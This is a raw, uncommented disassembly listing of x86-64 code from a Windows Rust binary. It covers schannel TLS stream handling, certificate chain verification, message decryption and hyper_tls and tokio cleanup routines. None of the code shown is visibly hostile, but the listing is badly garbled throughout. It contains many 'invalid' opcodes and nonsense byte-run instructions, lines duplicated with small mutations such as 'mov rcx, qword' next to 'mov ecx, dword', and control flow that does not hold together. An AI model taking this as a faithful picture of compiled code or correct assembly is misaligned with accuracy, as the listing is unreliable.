mov rbp, rax
mov r8d, dword [r15 + 0x10]
cmp r8d, dword [r13 + 0x10]
jne 0x1400b27dc
mov rdx, qword [r13 + 8]
mov rcx, qword [r15 + 8]
call fcn.140106bb0
mov esi, eax
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
test esi, esi
je 0x1400b27e7
mov rcx, qword [rdi + 8]
mov rdx, rbp
call qword [sym.imp.crypt32.dll_CertEnumCertificatesInStore]
test rax, rax
jne 0x1400b2790
jmp 0x1400b2732
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
jmp 0x1400b27c5
mov rcx, rbp
mov rsi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rsi
mov rcx, r13
call rsi
mov esi, 0xf10
mov rdx, qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
mov rcx, qword [rsp + 0x140]
call rdx
mov r15, qword [rsp + 0x108]
mov r14, qword [rsp + 0x148]
lea rax, [rsp + 0xf0]
movups xmmword [rax], xmm6
movabs rax, 0x200000018
mov qword [rsp + 0xe8], rax
movabs rax, 0x8000000000000000
cmp qword [rdi + 0xa0], rax
je 0x1400b2866
cmp byte [rdi + 0x121], 0
jne 0x1400b2866
mov rax, qword [rdi + 0xa8]
mov qword [rsp + 0xf8], rax
mov dword [rsp + 0xd0], 0x10
mov dword [rsp + 0xd4], esi
lea rax, [rsp + 0xe8]
mov qword [rsp + 0xd8], rax
movaps xmmword [rsp + 0xb0], xmm6
mov qword [rsp + 0xc0], 0
mov dword [rsp + 0xb0], 0x18
add byte [rcx + 4], bh
add byte [rcx + 4], bh
mov rdx, r15
lea r8, [rsp + 0xd0]
lea r9, [rsp + 0xb0]
call qword [sym.imp.crypt32.dll_CertVerifyCertificateChainPolicy]
add byte [rbp - 0x5e7bf040], al
add dword [rax], eax
invalid
add byte [rbp - 0x5e7bf040], al
add dword [rax], eax
add byte [rbx + rcx*4 - 0x54], al
and al, 0xb4
add byte [rax], al
add byte [rax - 0x75], cl
xchg dword [rax], eax
add byte [rcx], al
add byte [rax], al
test rax, rax
je 0x1400b2930
mov r8, qword [rdi + 0x108]
invalid
invalid
mov r13d, dword [rsp + 0xb4]
mov rax, qword [rdi + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
test rax, rax
je 0x1400b2930
mov r8, qword [rdi + 0x108]
mov rcx, qword [r8 + 0x10]
adc byte [rax - 1], cl
leave
adc byte [rax - 1], cl
leave
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov qword [rsp + 0x80], r15
mov dword [rsp + 0x88], r13d
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x8c], rax
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x80]
call qword [r8 + 0x28]
test rax, rax
je 0x1400b2942
jmp 0x1400b2a8a
test r13d, r13d
jne 0x1400b2a77
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
invalid
invalid
invalid
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
cmp byte [rdi + 0xd0], 0
movzx r13d, byte [rsp + 0x6f]
movzx ebp, byte [rsp + 0x6f]
movzx ebp, byte [rsp + 0x6f]
movzx r14d, byte [rsp + 0x78]
jne 0x1400b1c44
mov rax, qword [rsp + 0x128]
mov byte [rax], 1
add ecx, ebp
sal dl, 1
invalid
invalid
add ecx, ebp
sal dl, 1
invalid
lea rcx, [rdi + 0x80]
mov rsi, rdx
mov rdx, r13
mov r8, r15
call fcn.140108ba0
mov rdx, rsi
mov rsi, qword [rsp + 0x110]
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
add byte [rax - 0x77], cl
invalid
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
mov r13, qword [rdi + 0x90]
jmp 0x1400b246b
cmp rax, 2
movabs rax, 0xd00000003
cmove rdx, rax
mov rax, qword [rsp + 0x70]
mov qword [rax + 8], rdx
mov dword [rax], 2
movaps xmm6, xmmword [rsp + 0x170]
add rsp, 0x188
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov rax, qword [rsp + 0x70]
mov dword [rax], 0
jmp 0x1400b29c1
mov rax, qword [rsp + 0x70]
mov qword [rax + 8], rbp
jmp 0x1400b29bb
lea rdx, str.unexpected_EOF_during_handshakeassertion_failed:_size___nread
mov r8d, 0x1f
mov cl, 0x25
call fcn.140095940
mov rcx, qword [rsp + 0x70]
mov qword [rcx + 8], rax
mov dword [rcx], 2
jmp 0x1400b29c1
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rcx, rbp
mov rdi, qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
call rdi
mov rcx, r15
call rdi
mov rcx, rsi
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
jmp 0x1400b2a8d
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rsi, qword [rsp + 0x70]
jmp 0x1400b2a9b
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
jmp 0x1400b2a8d
call qword [sym.imp.kernel32.dll_GetLastError]
mov r13d, eax
shl r13, 0x20
or r13, 2
mov rcx, r15
call qword [sym.imp.crypt32.dll_CertFreeCertificateChain]
jmp 0x1400b2a8d
mov r13, rax
mov rsi, qword [rsp + 0x70]
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov qword [rsi + 8], r13
mov dword [rsi], 2
jmp 0x1400b29c1
shl rax, 0x20
loopne 0x1400b2ace
or rax, 2
jmp 0x1400b2a09
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov ecx, 1
add dword [rax], eax
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov rdx, r13
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov ecx, 1
add byte [rcx], r9b
add byte [rcx + 1], bh
mov rdx, r13
call fcn.1401085b0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov ecx, 1
mov rdx, r13
call fcn.1401085b0
lea rcx, str.assertion_failed:__self.context.is_null__
lea r8, [0x14013e4f8]
mov edx, 0x29
call fcn.140108630
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r15
call fcn.1401085a0
pop rdx
invalid
invalid
pop rdx
add eax, 0x8b900
add byte [rax], al
mov ecx, 8
mov edx, 0x20
call fcn.1401082c0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r15
call fcn.140108620
lea rcx, [0x140142ab7]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x1f
call fcn.140108630
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_vecmod.rs
lea eax, [0x1401496e8]
mov rcx, r15
call fcn.140108620
int3
lea rax, [rdi + rdi]
cmp rax, r13
cmova r13, rax
cmp r13, 0x401
cmovb r13, r15
sub r13, r14
jbe 0x1400b2c10
mov rax, qword [rsi + 0x60]
sub rax, r14
cmp rax, r13
jb 0x1400b2cb8
mov r15, qword [rsi + 0x68]
lea rcx, [r15 + r14]
cmp r13, 2
jb 0x1400b2c00
lea r8, [r13 - 1]
xor edx, edx
call fcn.140106cb0
add r14, r13
dec r14
add r15, r14
mov rcx, r15
mov r15d, 0x400
mov byte [rcx], 0
inc r14
mov qword [rsi + 0x70], r14
mov rax, r14
sub rax, rdi
jb 0x1400b2d06
mov rcx, qword [rsi + 0x68]
add rcx, rdi
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], rax
mov rdx, qword [rsi + 0x38]
test rdx, rdx
je case.0x140031ef2.1757
mov rcx, rbx
mov r8, r12
call fcn.1400e71e0
test rax, rax
movabs rax, 0xd00000003
cmovne rdx, rax
test rdx, rdx
jne 0x1400b2cf0
mov rdx, qword [rsp + 0x30]
and al, 0x30
mov rcx, qword [rsp + 0x38]
cmp rcx, rdx
ja 0x1400b2d30
add rdi, rcx
mov qword [rsi + 0x78], rdi
mov rax, qword [rsi + 0x110]
mov rdx, rax
sub rdx, rcx
mov r13d, 0
mov ebp, 0
mov ebp, 0
cmovae r13, rdx
mov qword [rsi + 0x110], r13
test rcx, rcx
je 0x1400b2ce3
add rbp, rcx
cmp rax, rcx
ja 0x1400b2bb0
jmp 0x1400b2ce3
mov rcx, qword [rsp + 0x20]
mov rdx, r14
mov r8, r13
call fcn.140108ba0
add eax, 0x768b4c00
jo 0x1400b2d19
mov edi, dword [rsi + 0x68]
add eax, 0x768b4c00
jo 0x1400b2d19
mov edi, dword [rsi + 0x68]
lea rcx, [r15 + r14]
or al, 0x37
cmp r13, 2
jae 0x1400b2be9
jmp 0x1400b2c00
xor eax, eax
mov rdx, rbp
mov edx, ebp
mov edx, ebp
jmp 0x1400b2cf5
mov eax, 1
add rsp, 0x48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, rdi
mov rdx, r14
call fcn.1401085a0
lea rcx, str.assertion_failed:__self.context.is_null__
lea ecx, str.assertion_failed:__self.context.is_null__
lea r8, [0x14013e4f8]
mov edx, 0x29
call fcn.140108630
lea r8, [0x14013d6c8]
call fcn.140108620
int3
add dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
movups xmmword [rsp + 0x40], xmm0
movups xmmword [rsp + 0x50], xmm0
movabs rax, 0x400000000
add byte [rax + rax], al
add byte [rax], al
add byte [rax + rax], al
add byte [rax], al
mov qword [rsp + 0x60], rax
lea rax, [rsp + 0x20]
mov qword [rsp + 0x68], rax
lea rcx, [rdi + 0xf0]
lea rdx, [rsp + 0x60]
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.secur32.dll_DecryptMessage]
cmp eax, 0x90316
jg 0x1400b2e8d
cmp eax, 0x80090318
je 0x1400b2f07
test eax, eax
jne 0x1400b2ef7
mov rcx, qword [rsp + 0x38]
mov rdx, qword [rdi + 0x68]
mov rax, qword [rdi + 0x70]
sub rcx, rdx
mov ebx, dword [rsp + 0x30]
mov r9, rcx
mov qword [rdi + 0x50], 0
add r9, rbx
jb 0x1400b2fd9
cmp r9, rax
ja 0x1400b2fe8
add rdx, rcx
xor r14d, r14d
cmp qword [rdi + 0x40], rbx
jb 0x1400b2f86
xor r15d, r15d
mov rcx, qword [rdi + 0x48]
add rcx, r15
mov r8, rbx
call fcn.140106530
add r15, rbx
cmp dword [rsp + 0x54], 5
mov qword [rdi + 0x50], r15
cmove r14d, dword [rsp + 0x50]
mov qword [rdi + 0x58], 0
mov rcx, qword [rdi + 0x78]
mov rdx, rcx
sub rdx, r14
jb 0x1400b2faf
test r14d, r14d
je 0x1400b2f5f
mov rax, qword [rdi + 0x70]
mov rbx, rax
sub rbx, rdx
jb 0x1400b2fc7
mov qword [rdi + 0x70], 0
cmp rcx, r14
jne 0x1400b2f47
test rax, rax
jne 0x1400b2f5b
jmp 0x1400b2f5f
cmp eax, 0x90317
je 0x1400b2f18
cmp eax, 0x90321
jne 0x1400b2ef7
xor r14d, r14d
cmp dword [rsp + 0x54], 5
jl 0x1400b2ec9
push rsp
add eax, 0xd087c7
add byte [rax], al
add byte [rax], al
add dword [rax], eax
jl 0x1400b2ec9
push rsp
add eax, 0xd087c7
add byte [rax], al
add byte [rax], al
add dword [rax], eax
cmove r14d, dword [rsp + 0x50]
mov byte [rdi + 0xd4], 0
mov rcx, qword [rdi + 0x78]
mov rdx, rcx
sub rdx, r14
jb 0x1400b2faf
invalid
test r14d, r14d
je 0x1400b2f36
mov rax, qword [rdi + 0x70]
mov rbx, rax
sub rbx, rdx
jb 0x1400b2fc7
mov qword [rdi + 0x70], 0
cmp rcx, r14
jne 0x1400b2f1e
test rax, rax
jne 0x1400b2f32
jmp 0x1400b2f36
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov al, 1
jmp 0x1400b2f78
cmp dword [rsp + 0x34], 4
mov eax, 1
cmove eax, dword [rsp + 0x30]
jmp 0x1400b2f6b
mov byte [rsi + 1], 1
jmp 0x1400b2f76
cmp rax, rdx
je 0x1400b2f36
mov rcx, qword [rdi + 0x68]
add rdx, rcx
mov r8, rbx
call fcn.140106530
mov qword [rdi + 0x70], rbx
mov qword [rdi + 0x78], r14
mov qword [rdi + 0x110], 0
jmp 0x1400b2f72
cmp rax, rdx
je 0x1400b2f5f
mov rcx, qword [rdi + 0x68]
add rdx, rcx
mov r8, rbx
call fcn.140106530
mov qword [rdi + 0x70], rbx
xor eax, eax
test r14d, r14d
sete al
mov qword [rdi + 0x78], r14
mov qword [rdi + 0x110], rax
mov byte [rsi + 1], 0
xor eax, eax
mov byte [rsi], al
add rsp, 0x70
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
lea rcx, [rdi + 0x40]
mov r15, rdx
xor edx, edx
mov r8, rbx
call fcn.140108ba0
mov rdx, r15
mov r15, qword [rdi + 0x50]
jmp 0x1400b2e1c
lea rcx, [0x140142ab7]
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov edx, 0x1f
call fcn.140108630
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140108620
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
or byte [rax], al
mov rdx, r9
call fcn.140108810
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_schannel_0.1.23_src_tls_stream.rsStartSizeSizeLwsExtensionSizeLfBodyCrBodyLfTrailerTrailerLfEndCrEndLfEndC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_buf_take.rsassertion_failed:_cnt___self.limit
mov rcx, r9
mov rdx, rax
call fcn.140108620
int3
int3
test dword [rdi], eax
lodsb al, byte [rsi]
invalid
invalid
push r14
push rsi
push rdi
push rbx
sub rsp, 0x30
mov rsi, rcx
lea rcx, [rdx + 0xf0]
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x28]
mov edx, 0x53
call qword [sym.imp.secur32.dll_QueryContextAttributesW]
test eax, eax
je 0x1400b305e
movabs rdi, 0x8000000000000000
jmp 0x1400b30a7
add byte [rax - 0x74b3b615], al
je 0x1400b3086
mov r14, qword [rsp + 0x28]
mov r15, qword [r14 + 8]
sub byte [rbp - 0x75], cl
jle 0x1400b306f
or byte [rcx - 0x75], al
jle 0x1400b307b
mov edi, dword [r14 + 0x10]
test rdi, rdi
je 0x1400b308b
sbb ecx, dword [rdi]
mov dh, 5
cdq
or al, 0
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rdi
mov edx, edi
cli
call fcn.1400df910
test rax, rax
je 0x1400b30be
mov rbx, rax
jmp 0x1400b3090
mov ebx, 1
mov rcx, rbx
mov rdx, r15
mov r8, rdi
call fcn.140106530
mov rcx, r14
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov qword [rsi], rdi
mov qword [rsi + 8], rbx
mov qword [rsi + 0x10], rdi
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r14
pop r15
ret
mov ecx, 1
mov rdx, rdi
call fcn.1401082a0
int3
push rsi
push rdi
push rbx
sub rsp, 0x50
mov rsi, rcx
mov qword [rcx + 0x38], rdx
movzx eax, byte [rcx + 0xd0]
test eax, eax
je 0x1400b30f3
cmp eax, 1
je 0x1400b30fc
jmp 0x1400b3200
cmp byte [rsi + 0xd3], 0
jne case.0x14005cc92.337
mov dword [rsp + 0x24], 1
and al, 0x24
add dword [rax], eax
add byte [rax], al
movabs rax, 0x200000004
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x24]
lea rax, [rsp + 0x24]
lea eax, [rsp + 0x24]
mov qword [rsp + 0x48], rax
movabs rax, 0x100000000
invalid
add byte [rax - 0x77], cl
and al, 0x28
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
lea rcx, [rsi + 0xf0]
add byte [rax], al
add byte [rax], al
lea rdx, [rsp + 0x28]
call qword [sym.imp.secur32.dll_ApplyControlToken]
test eax, eax
je 0x1400b3158
mov edi, eax
shl rdi, 0x20
shl edi, 0x20
shl edi, 0x20
or rdi, 2
jmp 0x1400b318d
mov dword [rsi + 0xd0], 0x1010000
add byte [rax], al
add dword [rcx], eax
mov byte [rsi + 0xd4], 0
mov qword [rsi + 0x110], 0
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x28]
mov rdx, rsi
call case.0x14002a2ab.1798
cmp dword [rsp + 0x28], 2
jne 0x1400b3200
mov rdi, qword [rsp + 0x30]
xor byte [rax - 0x77], cl
stc
mov rcx, rdi
call fcn.14001a360
mov qword [rsi + 0x38], 0
cmp al, 0xd
invalid
jne 0x1400b320a
or eax, 0xf9896975
mov ecx, edi
and ecx, 3
mov eax, 1
cmp ecx, 1
jne 0x1400b3217
invalid
lea rsi, [edi - 1]
lea rsi, [rdi - 1]
mov rbx, qword [rdi - 1]
mov rdi, qword [rdi + 7]
mov rcx, rbx
call qword [rdi]
cmp qword [rdi + 8], 0
je 0x1400b31e5
invalid
sbb eax, 0x107f8348
adc dword [rdx + 4], esi
cmp qword [rdi + 0x10], 0x11
jb 0x1400b31d3
mov rbx, qword [rbx - 8]
clc
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
xor edx, edx
mov r8, rbx
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax - 0x75], cl
or eax, 0xcf074
or al, 0
mov rcx, qword [0x140182260]
mov ecx, dword [0x140182260]
or al, 0
xor edi, edi
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 1], bh
add byte [rax], al
add bl, ch
invalid
invalid
add byte [rax], al
add bl, ch
or al, 0x48
mov dword [rsi + 0x38], 0
mov qword [rsi + 0x38], 0
xor edi, edi
xor eax, eax
mov rdx, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
xor edi, edi
jmp 0x1400b320c
dec esp
int3
sar edi, 0xff
int3
dec esp
int3
int3
int3
dec esp
int3
int3
shl r9, 4
loope 0x1400b327c
nop dword [rax + rax]
add byte [rax], al
add byte [rax], al
test r9, r9
leave
je 0x1400b32a2
mov eax, dword [r8 + 0x10]
mov eax, dword [rax + 0x10]
add r8, 0x10
add r9, 0xfffffffffffffff0
test rax, rax
test eax, eax
test eax, eax
je 0x1400b3280
mov r8, qword [r8 + 8]
mov r9, rax
jmp fcn.1400af080
invalid
invalid
invalid
mov ebp, 0xb841ffff
add dword [rax], eax
add byte [rax], al
mov r8d, 1
mov eax, 1
xor eax, eax
mov r9, rax
jmp fcn.1400af080
invalid
invalid
invalid
mov ebp, 0xccccffff
int3
int3
sub esp, 0x20
mov rsi, rcx
add rdx, 0x10
invalid
invalid
ret 0xe810
call fcn.14003cda0
mov rax, rsi
mov eax, esi
mov eax, esi
add rsp, 0x20
pop rsi
ret
int3
and byte [rsi - 0x3d], bl
int3
invalid
int3
test dword [rdi - 0x43], edx
invalid
add ecx, 8
jmp fcn.1400e74a0
int3
int3
int3
mov eax, 0
je 0x1400b335b
add byte [rax], al
add byte [rax + rcx + 0x4c], dh
mov rdx, r8
mov edx, eax
call fcn.1400b0e20
nop
add rsp, 0x28
ret
int3
jne 0x1400b339c
mov rcx, qword [rcx + 0x20]
mov ecx, dword [rcx + 0x20]
cmp rcx, 0xffffffffffffffff
je 0x1400b33bc
mov edx, 1
call qword [sym.imp.ws2_32.dll_shutdown]
cmp eax, 0xffffffff
je 0x1400b33a5
xor edx, edx
xor eax, eax
add rsp, 0x28
sub bl, al
sub bl, al
add rsp, 0x28
jmp 0x1400b30d0
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
mov edx, eax
ret 0xc148
loop 0x1400b33d1
or rdx, 2
xor eax, eax
add rsp, 0x28
ret 0xc148
ret
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_srciopoll_evented.rs
call fcn.140108970
test al, 0x55
invalid
add ah, cl
add al, ch
test al, 0x55
add eax, 0xcccccc00
int3
int3
add ecx, 8
jmp 0x1400e76a0
add r8, 0xfffffffffffffff0
shl r9, 4
nop word cs:[rax + rax]
test byte [rax], al
add byte [rax], al
add byte [rax], al
test byte [rax], al
add byte [rax], al
add byte [rax], al
test r9, r9
je 0x1400b3412
mov eax, dword [r8 + 0x10]
add r8, 0x10
adc byte [rcx - 0x7d], cl
sal eax, 0x48
test eax, eax
adc byte [rcx - 0x7d], cl
sal eax, 0x48
test eax, eax
je 0x1400b33f0
mov r8, qword [r8 + 8]
mov r9, rax
shr ecx, 0x6e
invalid
invalid
invalid
shr ecx, 0x6e
mov esp, 0xb841ffff
invalid
inc dword [rcx - 0x48]
add dword [rax], eax
add byte [rax], al
invalid
mov r8d, 1
xor eax, eax
mov r9, rax
jmp fcn.1400af080
invalid
invalid
invalid
int3
cmp dword [rcx], 2
sete al
ret
add cl, byte [rdi]
xchg esp, eax
rol bl, 0xcc
int3
sub esp, 0x20
mov rsi, rcx
xor eax, eax
cmp dword [rdx], 2
setne al
lea rdx, [rdx + rax*8]
add rdx, 8
call fcn.14003cda0
clc
dec dword [rax - 0x77]
invalid
add rsp, 0x20
invalid
and byte [rsi - 0x3d], bl
clc
dec dword [rax - 0x77]
invalid
invalid
int3
int3
push rsi
sub rsp, 0x20
cmp dword [rdx], 2
jne 0x1400b3490
movabs rax, 0x8000000000000001
mov qword [rcx], rax
mov rax, rcx
add byte [rax], al
add byte [rax], al
add byte [rax + 0x48018948], al
mov eax, ecx
add rsp, 0x20
add esp, 0x20
pop rsi
ret
mov rsi, rcx
call fcn.1400b3020
mov rax, rsi
add rsp, 0x20
add esp, 0x20
invalid
add esp, 0x20
pop rsi
ret
int3
int3
int3
int3
invalid
invalid
invalid
mov esi, dword [rsi - 8]
clc
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
add rsp, 0x28
invalid
pop rdi
sub byte [rdi + 0x5e], bl
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
int3
sub rsp, 0x28
cmp byte [rdx + 0x10], 0
jne case.0x140099c8c.101
mov qword [rcx], 3
movups xmm0, xmmword [rdx]
adc byte [rdx], al
add byte [rdi], cl
adc byte [rdx], al
movups xmmword [rcx + 8], xmm0
mov byte [rdx + 0x10], 1
adc byte [rcx], al
add dword [rax - 0x77], ecx
enter 0xffffffffffff8348, 0xffffffffffffffc4
mov rax, rcx
add rsp, 0x28
sub bl, al
sub bl, al
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_tls_0.5.0_srcclient.rs
call fcn.140108b60
invalid
add ah, cl
int3
int3
int3
int3
int3
movzx eax, byte [rcx + 0x49]
test eax, eax
invalid
mov dh, 0x41
test r8, rax
invalid
sal byte [rbx + rax*2 - 0x7d], 0xf8
add esi, dword [rax + rbp - 0x7d]
clc
add al, 0xf
test dword [rax + rax - 0x49f10000], esp
add byte [rax], al
movzx eax, byte [rsi + 0x330]
cmp eax, 3
je 0x1400b360d
add byte [rax], al
test eax, eax
jne 0x1400b35c6
lea rcx, [rsi + 0x50]
je 0x1400b3595
cmp eax, 3
je 0x1400b357f
cmp eax, 4
jne case.0x1400a8746.45
add byte [rax], al
add byte [rax], al
movzx eax, byte [rsi + 0x330]
add byte [rdi], cl
mov dh, 0x86
xor byte [rbx], al
add byte [rax], al
cmp eax, 3
je 0x1400b360d
add byte [rax], al
add byte [rax], al
test eax, eax
jne 0x1400b35c6
lea rcx, [rsi + 0x50]
call fcn.1400ad770
jmp 0x1400b35c6
mov rdi, qword [rsi + 0x50]
push rax
mov rbx, qword [rsi + 0x58]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
jnp 0x1400b3598
invalid
jnp 0x1400b3598
or byte [rax], al
jne 0x1400b35a9
jmp 0x1400b35c6
mov rdi, qword [rsi + 0x38]
mov rbx, qword [rsi + 0x40]
mov rcx, rdi
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b35c6
invalid
sbb eax, 0x107b8348
adc dword [rdx + 4], esi
mov rdi, qword [rdi - 8]
mov rcx, qword [0x140182260]
movsd dword [rdi], dword [rsi]
in al, dx
or al, 0
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
cmp qword [rbx + 0x10], 0x11
jb 0x1400b35b4
add byte [rcx], dh
ror byte [rcx - 0x77], cl
clc
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsi], 0
je 0x1400b35d6
add byte ds:[rdx + rcx + 0x48], dh
mov ecx, dword [rsi + 8]
mov rcx, qword [rsi + 8]
call qword [sym.imp.crypt32.dll_CertFreeCertificateContext]
mov rcx, qword [rsi + 0x10]
xor edx, edx
call qword [sym.imp.crypt32.dll_CertCloseStore]
cmp qword [rsi + 0x20], 0
cmp dword [rsi + 0x20], 0
cmp dword [rsi + 0x20], 0
jle case.0x14009fa62.71
add byte [rbx + rbx + 0x4c], dh
mov eax, dword [rsi + 0x28]
je case.0x1400a8746.45
mov r8, qword [rsi + 0x28]
mov rcx, qword [0x140182260]
xor edx, edx
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
invalid
add byte [rax + 0x20c48348], dl
nop
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
ret
movzx eax, byte [rsi + 0x200]
add byte [rax], al
cmp eax, 4
je 0x1400b3651
cmp eax, 3
je 0x1400b3630
test eax, eax
jne 0x1400b35c6
lea rcx, [rsi + 0x90]
call fcn.1400ad770
jmp 0x1400b35c6
add byte [rax], al
add al, ch
movabs eax, dword [0x208be8396ebffff]
cmp dword [rsi + 0x208], 2
je 0x1400b3666
add byte [rax], al
add dh, byte [rbp + rbp + 0x48]
lea ecx, [rsi + 0x208]
invalid
lea rcx, [rsi + 0x208]
call fcn.1400ad770
mov byte [rsi + 0x201], 0
xchg byte [rcx], al
add al, byte [rax]
add byte [rax], al
inc esi
xchg byte [rcx], al
add al, byte [rax]
add byte [rax], al
jmp 0x1400b35c6
invalid
cmp dword [rsi + 0x208], 2
add byte [rdx], al
je 0x1400b3666
lea rcx, [rsi + 0x208]
call fcn.1400adc10
stosb byte [rdi], al
movsd dword [rdi], dword [rsi]
invalid
invalid
mov byte [rsi + 0x201], 0
jmp 0x1400b35c6
invalid
invalid
invalid
add dword [rdx], eax
add byte [rax], al
add cl, ch
push rsp
invalid
int3
int3
int3
push rsi
push rdi
push rbp
push rbx
sub rsp, 0xaa8
invalid
add byte [rdi], cl
sub dword [rsp + 0xa90], esi
